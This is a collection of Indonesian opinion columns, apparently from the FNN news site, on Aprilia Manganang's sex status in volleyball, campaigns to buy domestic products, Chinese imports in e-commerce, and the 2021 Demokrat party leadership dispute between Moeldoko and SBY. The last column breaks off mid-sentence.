Ping sendiri menyebut Zhu Ting yang kala itu tingginya sudah 191 cm masih terlalu kurus. Jadi untuk 'si anak desa' ini ia pun mendatangkan serbuk protein khusus dari Amerika Serikat. Hasilnya Zhu Ting bukan cuma makin berisi, tetapi saat meraih emas di Olimpiade Rio de Janeiro, Brazil, menjadi pemain tertinggi kedua dalam timnya, 198 cm, setelah Yuan Xinyue yang 201 cm. Seperti Zhu Ting, Aprilia Manganang pun lahir di desa. Tepatnya, di Kecamatan Tahuna, yang juga ibukota Kabupaten Kepulauan Sangihe, Sulawesi Utara, pada 27 April 1992. Ia juga mulai berlatih bola voli sejak Sekolah Menengah Pertama (SMP). Saat SMA sempat pindah ke cabang bola basket tapi kemudian kembali lagi menekuni bola voli dan bergabung dengan klub Pro Liga, mengikuti jejak sang kakak Amasya Manganang, dan berikutnya juga dipanggil ke tim nasional. Manganang bersaudara bahkan tampil bersama membela tim nasional saat Indonesia menjadi tuan rumah Asian Games pada 2018 lalu. Beda dengan Zhu Ting yang saat bergabung dengan tim nasional tidak berotot, Aprilia sejak muncul di pentas bola voli nasional pada 2011 bukan cuma tomboy, tapi juga kekar dan berotot layaknya laki-laki. Saat itu banyak yang mempertanyakan status gender Aprilia. Begitu juga di setiap ajang SEA Games yang ia ikuti. Filipina bahkan sempat melayangkan protes resmi pada penyelenggara SEA Games 2015 Singapura. Kecurigaan panjang yang akhirnya dijawab oleh Kepala Staf Angkatan Darat (KSAD) Jenderal TNI Andika Perkasa pada Selasa (9/3). Dalam Konferensi Pers di Markas Besar TNI AD (Mabesad) Andika memastikan bahwa Aprilia, yang sejak 2016 bergabung dengan Korps Wanita Angkatan Darat (Kowad) dan kini berpangkat Sersan Dua, berjenis kelamin laki-laki. Menurut KSAD, Serda Aprilia Manganang memiliki kelainan pada sistem reproduksi. Kelainan tersebut bernama hipospadias. “Anak ini termasuk dalam kasus Hipospadias serius sehingga paramedis, yang membantu kelahirannya, dan orang tuanya menilai secara fisik, bahwa dia perempuan,” jelas Andika. Dan identitas itu ia pakai hingga 28 tahun, sebelum akhirnya ia menjalani serangkaian tes di Rumah Sakit Pusat Angkatan Darat (RSPAD) sejak Februari lalu, dan ia dinyatakan bukan perempuan. Kalau saat lahir 'kelainan' Aprilia tidak terdeteksi karena faktor kekurangpengetahuan, bagaimana mungkin timnas pun bisa kecolongan? Pemusatan latihan yang mengaku sudah berbasis sports science ternyata bahkan tidak bisa mendalami dan mencari jawaban atas perawakan Aprilia yang secara kasat mata amat berbeda dengan kebanyakan perempuan. Ini pasti bukan kesalahan Aprilia, tapi kelalaian PB PBVSI, penanggung jawab tim nasional, Pelatnas (Pemusatan Latihan Nasional) dan otoritas olahraga di Indonesia. Mengapa tidak melakukan tes yang menyeluruh saat seleksi? Kalau timnas bola voli China bahkan bisa menambah tinggi badan Zhu Ting hingga 7 cm (sports engineering), timnas bola voli kita bahkan tidak bisa mendeteksi dengan benar jenis kelamin Aprilia. Akibatnya, pada saat Zhu Ting masih akan terus berburu dan menambah gelarnya, di Olimpiade Tokyo, Kejuaraan Dunia, dan event-event lain Aprilia justru terancam bakal kehilangan gelar-gelar yang pernah ia raih. Ia harus mengembalikan gelar-gelar MVP yang pernah diraihnya secara pribadi dan medali yang ia raih bersama tim. Medali Perunggu SEA Games 2015, perak SEA Games 2017 dan gelar-gelar juara Pro Liga bersama Jakarta Electric PLN (2015, 2016, 2017), Jakarta PGN Popsivo (2019). Beruntung Andika menyebut Aprilia masih boleh terus berkarier di TNI, dan mengaku lolosnya Aprilia lewat jalur khusus/jalur prestasi kala itu karena tidak melewati proses pemeriksaan medis yang lengkap. Ia merasa ikut bertanggung jawab atas kejadian ini. Aprilia akan mensahkan statusnya sebagai laki-laki lewat pengadilan dan akan mengganti namanya dengan nama baru. (Bersambung) ** Penulis, wartawan senior FNN.co.id

“Cintai Produk Lokal” Ingat GSNKRI & Gerakan Beli Indonesia 2015

by Mayjen TNI (Purn.) Prijanto Jakarta FNN - Presiden Joko Widodo meminta sikap mencintai produk dalam negeri untuk lebih digaungkan. Bahkan Presiden meminta agar kebencian pada produk-produk luar negreri juga digaungkan. (Kompas.com/read/2021/03/05). Ajakan tersebut menuai komentar di media, khususnya mengapa mesti mengajak membenci produk-produk luar negeri? Padahal banyak barang yang kita pakai dari luar negeri. Penulis tidak ingin berpolemik masalah ini. Mendengar ajakan Presiden tersebut, penulis teringat perjuangan kawan-kawan beberapa tahun yang lalu. Ajakan tersebut, sudah pernah digaungkan temen-temen aktivis pada November 2015. Melalui Gerakan Selamatkan NKRI (GSNKRI) baru dikenal dan dikenalkan di media sosial saja. Ada keinginan agar gerakan ini dikenal dan bisa berkomunikasi langsung dengan masyarakat. Melalui pertimbangan yang matang, para senior sepakat, GSNKRI perlu tampil berkomunikasi dengan masyarakat. Ir. Heppy Trenggono, salah satu pencetus GSNKRI, juga Ketua Gerakan Beli Indonesia, bersedia sebagai penyelenggara. Gerakan Selamatkan NKRI menggandeng Gerakan Beli Indonesia memutuskan untuk mengadakan acara sosialisasi untuk masyarakat. Acara di Raden Bahari, Jl. Warung Buncit Raya 135, Jaksel pada 16 November 2015. Heppy Trenggono bersama penulis, M. Hatta Taliwang, Bambang Wiwoho, Ramli Kamidin, Ariady Achmad dan Syahganda Nainggolan mengambil langkah untuk mensosialisasikan kembali ke UUD 1945 asli, untuk disempurnakan dengan adendum. Inilah penampilan perdana GSNKRI dihadapan beberapa elemen masyarakat. Pemimpin Gerakan Beli Indonesia, Heppy Trenggono di daulat memberikan pengantar diskusi. Heppy mengingatkan, bangsa Indonesia semakin tidak berdaulat di negeri sendiri. Penyelewengan terhadap UUD 1945, pemudaran nilai-nilai Pancasila, disinyalir dilakukan musuh bangsa untuk menjajah dan menghancurkan bangsa Indonesia secara bertahap. Awalnya mengamandemen UUD 1945, kemudian diubahnya sistim nilai dan sistim politik sehingga kita semakin jauh dari cita-cita kemerdekaan. Untuk itu kita harus memegang teguh Pancasila sebagai pemersatu dan alat penyelesaian masalah, kata Heppy. Sebelumnya, penulis menyampaikan bahwa terjadinya disharmoni kehidupan di masyarakat, penyebabnya adalah Pilpres secara langsung, sebagai produk amandemen UUD 1945, yang diikuti Pilkada langsung. Untuk memulihkan persatuan Indonesia, dan kehidupan yang harmonis, tidak ada jalan kecuali kembali ke UUD 1945 asli, untuk disempurnakan dengan adendum. Posisi silang Indonesia memang sangat strategis. Kekayaan alam yang berlimpah, dengan penduduk 250 juta, Indonesia adalah pasar yang sangat besar, dan diincar semua bangsa di dunia. Tanpa disadari, potret ekonomi Indonesia hari ini adalah potret negeri besar dengan penduduk besar namun ‘terjajah’, karena yang menikmati bangsa lain, kata Heppy. Kenyataan pahit, 80 % tekstil dan 93 % teknologi dikuasi asing. Asing boleh memiliki bank hingga 99 persen. Puluhan ribu petani kopra di Halmahera jatuh miskin, akibat harga jatuh. Petani kentang di Dieng, bawang di Brebes, padi di Subang dan Karawang tidak bisa bertani akibat masuknya kapitalisme dalam sektor kerakyatan. Puluhan juta pengguna internet diserahkan ke google. Bahkan ditengah sulitnya mencari pekerjaan serta badai PHK yang dilakukan perusahaan-perusahaan di Indonesia, buruh asing justru mengalir masuk, tutur Heppy Trenggono. Karena itulah, Gerakan Beli Indonesia mengajak agar kita mencintai dan membeli hasil yang ditanam dan produk dari rakyat Indonesia. Sedangkan Jenderal TNI (Purn) Djoko Santoso mengingatkan, 70 tahun yang lalu para pahlawan berkorban untuk mempertahankan kemerdekaan NKRI, dan saat ini kita menghadapi gelombang pasang globalisasi. Akibatnya, harus diakui secara jujur agenda reformasi belum mengantarkan bangsa Indonesia menuju arah yang semestinya. Ir. Soekarno pada tahun 1930 sudah mengingatkan tentang sebuah politik pintu terbuka yang tujuannya menguras kekayaan alam, mengeruk bahan mentah, menjadikan bangsa lain sebagai pasar bagi produk-produknya dan lahan tumbuh suburnya kapitalisme. Apakah yang diperingatkan Ir. Soekarno terjadi hari ini, tanya Jenderal Djoko Santoso. Menyitir ajakan Heppy Trenggono untuk beli Indonesia, Jenderal Djoko Santoso pun mencontohkan secara riil. Mari kita makan apel Malang daripada apel Amerika atau Australia, walau terasa sedikit kecut. Mari kita beli jeruk Medan yang tidak kalah manis dengan jeruk dari China. Inilah wujud kecintaan kita terhadap Indonesia. Kita melihat globalisasi adalah Flow of Capital, Flow of Product, dan Flow of People, namun Heppy Trenggono mengingatkan yang paling berbahaya dari globalisasi adalah Flow of Ideology, seperti Kapitalisme, Liberalisme, bahkan hingga one man one vote, yang semuanya bertentangan dengan ideologi Pancasila. Acara sosialisasi kembali ke UUD 1945 asli untuk disempurnakan di Raden Bahari dihadiri lebih empat ratus orang. Situasi mirip deklarasi, sehingga acara disebut deklarasi GSNKRI. Walau sesungguhnya GSNKRI sudah ada sejak curah pendapat di kantor PPAD DKI Jakarta pada 30 September 2015, tanpa publikasi. Hadir dalam acara perwakilan Ormas-Ormas, para tokoh agama, FKUB DKI Jakarta, PP Hidayatullah, aktivis pejuang Hariman Siregar, Bursah Zarnubi, Eggi Sujana, Purnawiran TNI B. Sumarno, politisi Ahmad Mubarok, dan lain-lain. Pada akhir acara, ada tiga ajakan yang ditulis pada selembar kain dengan tulisan: (1) Kembali pada Pancasila dan Undang Undang Dasar 1945. (2) Prioritaskan penggunaan produk anak bangsa. (3) Tolak buruh Asing. Bagi undangan yang setuju, dipersilakan tanda tangan di atas kain tersebut. Itulah ajakan untuk mencintai produk anak bangsa atau produk dalam negeri di tahun 2015. Penulis harus jujur, ajakan tersebut buahnya belum sesuai harapan. Masih banyak orang menyukai barang berbau impor dan ‘branded’. Makanan pun, lidahnya sok ala Barat atau Eropa. Banyak faktor penyebabnya, mengapa sulit untuk mengajak agar rakyat Indonesia mencintai produk bangsanya sendiri. Jargon tersebut tak akan berarti tanpa diikuti keberpihakan negara dalam wujud kebijakan dan aturan yang mengatur. Bagaimana negara berupaya meningkatkan kualitas produk dalam negeri, dan mengatur barang impor, merupakan salah satu bentuk keberpihakan yang sangat diperlukan. Bukan sebaliknya, membuka kran impor dengan dalih barang lebih bagus daripada produk dalam negeri. Mestinya, bagaimana negara berupaya meningkatkan kemampuan dan keterampilan sumber daya manusia sebagai motor produksi, agar kualitas hasil produksi mampu bersaing, justru lebih penting. Agar ajakan mencintai produk dalam negeri menggema dan membahana, sehingga gaungnya menyeruak di pelosok negeri dan rakyat melaksanakan, diperlukan karakter para pemimpin dan tokoh untuk memberikan suritauladan, dalam memakai produk anak bangsa. Tanpa suritauladan dalam keseharian, omong kosong kita bisa mencintai produk Indonesia. Semoga kita memberikan teladan. Insya Allah, aamiin. Penulis adalah Wagub DKI 2007-2012 & Rumah Kebangkitan Indonesia.

Kutukan Digital Naga China

by Jusman Dalle Jakarta FNN - Kumandang untuk membenci produk asing yang dilantunkan Presiden Joko Widodo salah alamat. Kampanye itu seolah-olah heroik, namun terkesan cuci tangan. Juga sarat dengan prilaku Jokowi yang inkonsistensi. Seperti yang sudah-sudah, pemerintah selalu ingin tampil seolah membela. Aslinya tidak memble. Alasannya tak berdaya. Seruan membenci produk asing, kata pepatah “menepuk air di dulang, terpercik muka sendiri”. Itulah yang terjadi dengan seruan Presiden Jokowi untuk membenci produk-roduk asing. Mempermalukan pemerintah. Mempermalukan rakyat Indonesia juga. Semakin menyedihkan. Sebab konstruksi pidato Jokowi disuplai dengan data dan informasi oleh pihak yang harusnya paling otoritatif memproteksi pelaku Usaha Mnengah Kecil dan Mikro (UMKM) lokal, yaitu Kementerian Perdagangan. Menteri Perdagangan M. Lutfi sendiri mengakui dalam klarifikasinya. Latar belakang kampanye “benci produk asing” yang dilaunching Jokowi, adalah karena membanjirnya produk impor di pasar ecommerce. Banjir impor ini lagu lama. Sudah sejak beberapa tahun lalu diulang-ulang oleh pemerintah. Tetapi minim langkah nyata. Kementerian Kordinator Bidang Perekonomian pernah merilis angka produk lokal di ecommerce yang cuma sekitar 7%. Sementara Kementerian Perindustrian bilang 90% produk di ecommerce adalah impor. Kometerian Komunikasi dan Informatika tak mau kalah menyuguhkan data. Katanya, 60% produk yang listing di ecommerce adalah barang impor. Dendang benci produk asing malah terkesan simplistis. Seolah persoalan di ecommerce semata. Padahal, pangkalnya di pemerintah. Berbagai persoalan mengendap di lintas kementerian. Antara lain Kemendag, Kemenperin, Kemenkop UKM, Kemenparekraf, BKPM hingga Kominfo yang juga terlibat pada proyek-proyek digitalisasi ekonomi. Sederet lembaga negara itu tak berdaya mengurus UMKM. Kebijakan masing-masing kementerian tidak terintegrasi dan terkesan kurang koordinasi. Bagaimana misalnya BKPM menggenjot investasi. Termasuk di bidang teknologi. Tetapi kurang cermat mempertimbangkan implikasi di sektor UMKM. Demikan pula Kemenkop UKM yang gencar membuat program inkubasi, namun UMKM yang dibina keburu diterjang produk impor yang izinnya diteken oleh Kemendag. Tumpang tindih satu sama lain. Carut-marut yang bila ditelusuri, maka semakin terekspos inkonsistensi kebijakan terhadap UMKM. Peredaran barang dari luar secara bebas merupakan konsekuensi dari longgarnya izin impor. Lalu diperparah oleh lemahnya pengawasan dan penegakan aturan. Pada saat yang sama, produk impor bertabur keunggulan komparatif. Harganya murah meriah. Bikin dompet gembira. Kualitas oke punya. diproduksi dalam skala industri dengan dukungan pemerintah. Ongkos kirim gratis pula. Padahal dari China. Bayangkan, dua lembar kemeja batik “Made in China”, bisa ditebus dengan harga Rp.35.000. Piyama dan daster dibanderol Rp 90 ribu per pasang. Masker standar medis dijual Rp. 1.700 per pcs. Meski dikirim dari luar negeri. Harganya lebih murah beberapa ratus rupiah dibanding masker yang dikirim dari Jakarta Barat. Sederet keunggulan itu tak terkejar oleh produk lokal. Karena program-program pendampingan terhadap UMKM selama ini memang miskin value. Dilakukan secara sporadis dan tidak terpadu. Selesai sebatas seremoni. Kadang menggunaka stilah paling terkenal “groundbreaking”. Akibatnya, UMKM tersisih di platform digital. Tidak bisa bersaing. Metafora naga yang superior dalam mitologi legendaris China seolah terbukti. Menjelma jadi kutukan di jagat digital Indonesia. Deru digitalisasi yang diguyur investasi berakhir jadi nestapa. Ekonomi digital yang tadinya diharapkan membawa untung, justru berakhir dengan buntung. Berbagai platform digital, dari yang hiburan hingga layanan metode pembayaran, hanya untuk memperkokoh budaya konsumsi. Belanja jumbo masyarakat Indonesia tersedot keluar. Alih-alih dinikmati pelaku UMKM anak negeri. China sebagai satu mitra dagang penting, berselancar melalui grand strategi Jalur Sutra masa kini. Belt and Road Initiative. Ditopang oleh investasi dan ekspansi global dan digital company asal Tirai Bambu. Sialnya, dominasi China bukan cuma terjadi di jagad digital. Produk dari China mengalir ke pertokoan di Glodok, Blok M Square, hingga di Pasar Butung Makassar. Bahkan isi gerobak pedagang anggur, jeruk, lemon, dan pir di pinggir jalan, didominasi oleh produk impor. Menteri Perdagangan, semestinya mengevaluasi diri. Melakukan koreksi internal. Meninjau kembali aturan-aturan serta kemitraan perdagangan yang menjadi sumber petaka tumbangnya UMKM lokal di kancah persaingan. Contoh paling dekat, betapa koreksi ini penting dilakukan. Terlihat dalam soal pedagang asing yang menambang cuan di ecommerce. Menteri Perdagangan sendiri yang meneken aturan. Tertuang di Permendag Nomor 50 Tahun 2020, seller asing dibatasi menjual dan mengirim paket ke Indonesia maksimal 1.000 transaksi. Faktanya, di berbagai platform digital dengan mudah dilacak bila banyak pedagang dari China yang mengirim puluhan ribu produk perbulan ke Indonesia. Angka-angka itu ditampilkan telanjang mata di aplikasi. Namun seolah tidak diketahui oleh pemerintah. Sungguh naif. Aturan tidak ditegakkan. Padahal otoritas ada di tangan. Masih banyak fakta-fakta lain, betapa pemerintah tampak cuma bersilat lidah soal pembelaan terhadap UMKM. Tidak cukup diulas dalam satu artikel. Ringkasnya, pembelaan dan dukungan terhadap UMKM tidak bakal cukup dengan seruan normatif ala “benci produk asing”. Kampanye semacam itu, seolah mengamini kutukan digital naga China. Kutukan yang menjelma jadi petaka ekonomi. Sialnya, pelaku ekonomi di bawah. Rakyat kecil yang menjadi korban. Direktur Eksekutif Tali Foundation dan Praktisi Ekonomi Digital.

“Perang Kilat” Sibolangit

by Zainal Bintang Jakarta FNN - Jenderal TNI Purnawirawan Moeldoko melakukan “Blitzkrieg” (perang kilat). Dan berhasil. Benteng pertahanan Partai Demokrat diibaratkan jebol. Hari Jumat, 05 Maret 2021 di Sibolangit, Deli Serdang, Sumatera Utara, melalui KLB (Kongres Luar Biasa) Partai Demokrat, dan Moeldoko didaulat menjadi Ketua Umum. “Operasi intelijen” mantan Panglima TNI itu berhasil menggoyang legitimasi kepemimpinan partai yang berlambang mercy di tangan mantan atasannya Jenderal TNI Purnawirawan Soesilo Bambang Yudhono (SBY). Presiden Indonesia dua priode itu (2004-2014) itu seakan limbung. “Perang Kilat” Sibolangit lambat tapi pasti akan mempengaruhi konstalasi dan dinamika politik menuju Pemilu 2024. Dua figur militer papan atas Indonesia adu strategi. Kedua tokoh militer itu terdidik dan berkelas kini bertempur di medan perang politik. Pasukan SBY berhadapan pasukan Moeldoko. Dua-duanya bergerak di bawah panji politik yang sama, “Partai Demokrat”. Kata “Blitzkrieg” berasal dari dua kata. Blitz yang berarti kilat, dan Krieg yang berarti perang. Kedua kata tersebut berasal dari bahasa Jerman. Konsep dari strategi “Blitzkrieg” ini secara umum sampai saat ini masih menjadi model dunia militer. Mengutip wikipedia, catatan sejarah menunjukkan kasus perang Afganistan ditandai dengan gerak cepat Taliban yang sangat mengagumkan. Taliban merebut hampir delapan puluh persen wilayah Afghanistan dari pihak pemerintah tahun 1994-1996. Atau perang teluk I mempertunjukan gerak cepat sekutu untuk membebaskan Kuwait tahun 1991. Termasuk Operasi Enduring Freedom ketika terjadi invasi Amerika ke Afghanistan, Oktober 2001. Dan ada lagi Operasi Iraqi Freedom menggunakan pola gerak cepat sekutu di bawah pimpinan Amerika dalam menginvasi Irak tahun 2003. Tidak sulit membaca apa latar belakang, dan ke mana trayek yang akan dilalui Demokrat Moeldoko. Beberapa kajian menunjukkan derita penggembosan sebuah partai yang terjadi sejak era reformasi karena terindikasi akan beroposisi terhadap rezim penguasa. Sikap Demokratnya SBY yang suka maju-mundur, dan senang ragu-ragu dimata rezim penguasa meneguhkan kajian yang menyimpulkan, itulah faktor utama yang membuat mengapa ia menjadi TO (Target Operasi). Sosok Moeldoko adalah representasi pejabat teras kekuaaan yang punya akses khusus “hot line” ke Istana dua puluh 24 jam. Ini mengingatkan kita pada taxi di Singapura yang memasang lampu diatas atap mobil dengan tulisan “On Call 24 jam”. Tradisi penguasa memecah partai politik bukan barang baru di Indonesia. Di era Orde Baru Partai Demokrasi Indonesia(PDI) adalah pelengkap penderita korban rezim yang secara ajaib lolos menjadi partai besar di era reformasi. Kata “perjuangan” ditambahkan dibelakangnya menjadi PDIP sebagai ikon simbolik patriotik perlawanan di ujung kejayaan Orba. PDIP melintasi sejarah kejayaan di era reformasi. Dengan mengusung nama Bung Karno ketokohan Megawati jadi awet. Kongresnya tidak pernah menampilkan lebih dari satu nama calon ketua umum. Hanya Megawati tok. Tidak ada celah intervensi untuk membelah. Kondisi geografis Indonesia sebagai republik pulau meniscayakan pengurus daerah menjadi kekuatan penentu keputusan di tingkat nasional dan dilembagakan di dalam AD/ART (Anggaran Dasar/Anggarana Rumah Tangga) sebagai rambu aturan main. Keabsahan suatu keputusan yang bersifat nasional ada di tangan suara mayoritas pengurus daerah. Termasuk dan terutama untuk memilih ketua umum. Pengurus daerah yang bertebaran di 34 propinisi dan 500-an kabupaten kota adalah kunci penentu. Pola hubungan pengurus daerah dengan pemimpin puncak di pusat terjalin melalui kultural paternalisme. Itulah kekuatan pengurus daerah sekaligus kelemahan sistemik sebuah partai. Prof. Agus Dwiyanto & Dr Bevaola Kusumasari dalam kajiannya tahun 2001 menulis, paternalisme adalah suatu sistem yang menempatkan pimpinan sebagai pihak yang paling dominan. Paternalisme tumbuh sumbur karena dipengaruhi oleh kultur feodal, yang sebagian besar wilayah di Indonesia semula merupakan daerah bekas kerajaan. Wilayah-wilayah bekas kerajaan ini telah mempunyai sistem nilai, norma, dan adat kebiasaan. Selalu menjunjung tinggi dan mengagungkan penguasa sebagai orang yang harus dihormati, karena mereka telah memberikan kehidupan dan pengayoman bagi warga masyarakat. Selain itu, tidak bisa dipungkiri bahwa budaya birokrasi di Indonesia banyak dipengaruhi oleh budaya Jawa. Budaya hirarkis dan tertutup yang menuntut seseorang untuk pandai menempatkan diri dalam masyarakat. Pada budaya ini terdapat nilai tentang pentingnya peranan atasan dalam memberikan perlindungan terhadap bawahan. Perlindungan yang diberikan oleh atasan atau pimpinan berwujud status dan pangkat. Kedua atribut tersebut merupakan hak istimewa bagi seorang bawahan yang kemudian menentukan status sosial seseorang di mata masyarakat. Pola atasan dan bawahan juga menandai hubungan pengurus pusat dengan pengurus daerah. Menciptakan figur sinterklas yang murah hati di pusat guna merawat loyalitas pengurus daerah. Yang disebut sebagai “bawahan” itu, justru adalah penentu keputusan di level “atasan”. Merujuk pola paternalisme, mayoritas pengurus partai atau organisasi apapun, wajib hukumnya memosisikan pengurus daerah sebagai “pembutuh orang kuat” di pusat. Meniscayakan sosok ketua umum sebagai sinterklas untuk merawat kesinambungan loyalitas pengurus daerah. Termasuk dan terutama kesejahteraan dan ekonomi. Ideologi pengurus daerah adalah pemahaman berharga mati terhadap kesinterkelasan seorang ketua umum manakala dia memegang jabatan dalam struktur negara. Ketua umum tanpa jabatan struktural dalam pemerintahan oleh pengurus daerah dianggap sebagai “yatim piatu” yang cuma ngajakin sengsara. Dipastikan gampang terserang dehidrasi atau penyakit ayan. Diksi “kudeta” yang ditujukan kepada Meoldoko adalah sebuah kata yang seksi. Membangkitkan gairah perang pengurus daerah di kedua kubu yang berseteru. Pernyataan loyal dan siap mati membela ketua umum bersahut-sahutan di angkasa. Disiarkan secara luas dan masif hampir semua saluran televisi. Publik menyaksikan bagaimana perlombaan orasi meramaikan jagad politik. Pengurus daerah menjadi tokoh penting dan tamu mulia di ibukota. Membuat frekwensi pemberitaan kebijakan pemerintah yang kontroversial menurun di liputan media. Langkah kubu “Demokrat SBY” yang dimotori ketua umumnya Agus Harimurti Yudhoyono (AHY) menggerakkan perlawanan daerah sebagai simbol loyalitas. Langkah ini dapat juga dibaca sebagai keberhasilan “Demokrat Moeldoko” mengacaukan otak kubu kembarannya. Pada akhirnya kedua kubu Demokrat tidak ada yang dapat bekerja dengan tenang. Waktu, tenaga, fikiran dan dana habis begitu saja hanya untuk memperebutlan publik opini hingga tiba Pemilu 2024. Eksistensi Demokrat SBY mengalami pelumpuhan seiring hambarnya pelan-pelan simpati publik. Elite Demokrat SBY terjebak di dalam perangkap membela diri dan kesibukan menembaki pengacaunya. Inilah target utama kekuasaan. Pengebirian intensitas sikap kritisisme. Menko Polhukam Mahfud Md mengatakan pemerintah tak melindungi atau mengawal acara yang diklaim sebagai Kongres Luar Biasa (KLB) Partai Demokrat. Meski tak melindungi, ia menegaskan pemerintah juga tak boleh membubarkan acara itu. Itu sesuai UU No. 9/1998 tentang Kemerdekaan Menyampaikan Pendapat Di Muka Umum, kata Machfud di media Minggu (07/03/21). Sehari sebelumnya Machfud menegaskan, Kongres luar biasa (KLB) Demokrat di Sibolangit, “dinilai akan menjadi permasalahan hukum bila hasilnya telah didaftarkan ke Kementerian Hukum dan Hak Asasi Manusia”. Jelas sudah, pintu terbuka bagi Demokrat Moeldoko untuk mengadu untung. Keras dugaan faktor pembuka ruang serangan kepada Demokrat SBY, karena adanya aroma dinasti yang dipersoalkan para pendiri. Mereka menyoal perubahan AD/ART pada Kongres tahun 2020 yang memberi kewenangan besar kepada Ketua Majelis Tinggi yang dijabat SBY, yang berwenang penuh membolehkan dan melarang diadakannya KLB. Langkah itu mengungkit tudingan sebagai rekayasa sistemik SBY dan keluarga untuk mendominasi Demokrat. Menutup celah perlawanan bagi yang tidak sejalan. Akibat menggugat hal itulah, ke tujuh oang kader teras termasuk pendiri serentak dipecat di tengah kisruh tuduh menuduh adanya isu “kudeta”. Inilah pemicu yang meneguhkan lahirnya “Perang Kilat” Sibolangit. Drama politik ala Indonesia berulang. Pertunjukan adegan “lari berputar” dan “bersembunyi di tempat yang terang” para elite politik kembali dimainkan. Dengan simfoni sendu yang jauh dari alasan untuk tersenyum. Penulis adalah Wartawan Senior dan Pemerhati Masalah Sosial Budaya.

Istana Menyerang Cikeas, SBY Kibarkan Perang?

by Bambang Tjuk Winarno Madiun FNN - Angin mengalir lembut. Bukan angin ribut. Tidak juga disertai dengan hujan berpetir, yang menimbulkan rasa ketar ketir. Namun ujug-ujug ratusan juta rakyat Indonesia terkejut. Bukan sebab Jokowi (Joko Widodo, Presiden RI) mati mendadak. Melainkan adanya pertunjukan “sulap politik” oleh orang Istana Kepresidenan. Cuma dalam tempo beberapa jam, Ketua Umum Partai Demokrat (PD) yang dijabat Agus Harimukti Yudhoyono (AHY) tersulap, dan langsung berubah menjadi sosok Moeldoko, Kepala Kantor Staf Kepresidenan (KSP). Moeldoko berkantor di dalam pagar kompleks istana negara. Tontonan sulap gratis yang dimainkan anak buah Jokowi dalam frame Kongres Luar Biasa (KLB) PD itu berlangsung di salah satu hotel, di Sibolangit Deli Serdang, Sumatera Utara. Hajatan itu dimulai pada permulaan bulan Maret lalu. Publik pun lantas ramai saling lempar berkomentar. Macam macam pendapatnya. Ada yang berpendapat menggunakan akal seger waras. Sebaliknya, muncul juga statement sinting yang bermaksud membela perilaku cenderung stunting pula. Seperti paparan awal di atas. Tak ada hujan dan angin. Orang gila pun tahu bahwa Ketua Umum PD adalah AHY. Sedangkan Ketua Majelis Tinggi dan Kehormatan Partai PD tidak lain Susilo Bambang Yudhoyono (SBY). Susunan pengurus itu sah sebagai data otentik pada lembaran pemerintahan. Susunan itu belum berubah hingga saat ini. Dalam konteks KLB Sibolangit Deli Serdang, SBY merasa benar. Dan memang berada di pihak yang tidak salah. Karenanya, SBY yang berpenampilan kalem dan terkesan menjaga wibawa serta kehormatannya - bak Pak Harto itu, langsung bermuka merah menyemu hitam. Tanda marah besar. Menyusul hasil KLB “sak karepe dewe” yang menobatkan Moeldoko sebagai Ketua Umum PD, SBY tak sabar menyambar mix. Bicara laksana mengurai duplik di pengadilan. Membeberkan kebenaran di hadapan para jurnalis di kediamannya, Cikeas. Seperti yang biasa kita tahu. Tingkat emosinya terukur. Gaya bicaranya khas. Mengkombinasi dengan bahasa tubuh, gerakan naik turun tangan dan anggukan kepala. Manifesto politik dihadapan pers itu SBY menjlentrehkan aturan main PD dalam menggelar KLB, yang sesuai dengan AD/ART PD. Pokok persoalan dikupas SBY dengan lugas dan tuntas. Khususnya di lembar pasal 81 ayat 4. Dalam pasal tersebut, jelas SBY, KLB bisa digelar atas usulan dan permintaan Majelis Tinggi Kehormatan Partai yang dia pimpin dan beranggotakan 16 orang. Kemudian terdapat ketentuan, sekurangnya dihadiri 2/3 dari total jumlah DPD sebanyak 34 DPD. Yang diperkuat dengan syarat lanjutan, yakni KLB harus dihadiri sedikitnya 1/2 dari jumlah total DPC sebanyak 514 DPC. Namun dalam atraksi 'main sulap' murahan di 'panggung politik gelap' Deli Serdang itu tak satu pun persyaratan yang terpenuhi. Tak satu pun DPD yang mengusulkan. Bahkan hanya 7 persen (34 DPC dari 514 DPC) dari yang seharusnya minimal 50 persen usulan DPC. Karenanya, SBY pun pelan tapi tegas mengajak seluruh kadernya untuk berperang guna mendapatkan keadilan. "Ibarat peperangan, perang yang kita lakukan adalah perang yang dibenarkan. War of necessity, sebuah just war", tandas SBY manggut manggut diikuti ayunan jari telunjuknya. Pemilihan diksi perang oleh SBY, sekali pun pada statemen jumpa pers dimaksudkan sebagai just war, perang untuk memperoleh keadilan. Namun ingat. SBY bukan orang goblog. Tidak dungu. Jauh dari otak cebong. Dia adalah mantan presiden militer berpangkat Jenderal (Purn). Dia fasih taktik dan strategi. Artinya, kata “perang” sengaja disisipkan tersamar sebagai cara membaca situasi nyali musuhnya. Jika sang musuh menyerah, mengakui kalah dan salah, maka kata “perang” itu akan diakuinya cuma candaan belaka. Namun, jika musuh bertahan dalam kesalahannya. Bahkan malah terlihat pongah dan durhaka. Seakan yang dilakukan benar dan terpuji, tak menutup kemungkinan perang guyonan itu bisa bermetamorfosis menjadi perang terbuka sungguhan. Demi kehormatan. SBY bisa senekat nekatnya Jauh waktu sebelumnya. SBY dan para kader PD telah melihat simptom adanya upaya kudeta PD oleh Moeldoko dan segelintir kader PD. Pendek kata SBY sudah curiga. Waktu itu AHY selaku Ketum PD pun berkirim surat protes kepada Jokowi. Tak salah rupanya AHY bersurat ke Jokowi, mengingatkan, mau tidak mau Moeldoko adalah inner circle Istana Kepresidenan. Anak buah langsung Jokowi. Sulit untuk tidak diakui bahwa Moeldoko merupakan representasi dari Jokowi. Namun sayang. Surat itu tak terbalaskan. Kubu Moeldoko malah bilang, pertemuannya dengan kader PD bukan untuk merencanaan kudeta. Melainkan cuma ngobrol biasa. Hanya ngopi-ngopi biasa. Alasan kubu Moeldoko itu, agaknya terbantahkan oleh pengakuan mantan Panglima TNI, Gatot Nurmantyo, belakangan ini. Jenderal bernalar waras itu mengaku pernah diajak gabung seseorang, untuk mengkudeta AHY dari jabatan Ketum PD. Bila bersedia, Gatot Nurmantyo berhak memangku iming iming jabatan ini atau itu. Kecuali jabatan, nina bobok berupa uang tentu tak ketinggalan dalam dunia kekurang ajaran. Gatot Nurmantyo menolak. Alasannya simplistik. Dia pernah dibesarkan SBY, ayah AHY, sebagai KASAD sewaktu SBY menjabat presiden ke 6 RI. "Saya dibesarkan Pak SBY. Masak saya lantas tega mencongkel putranya? "ucap Gatot Nurmantyo tanpa merinci, siapa pihak yang mengajaknya berbuat kurang ajar itu. Tidak seperti Gatot. Moeldoko malah sebaliknya. Meski sama sama pernah 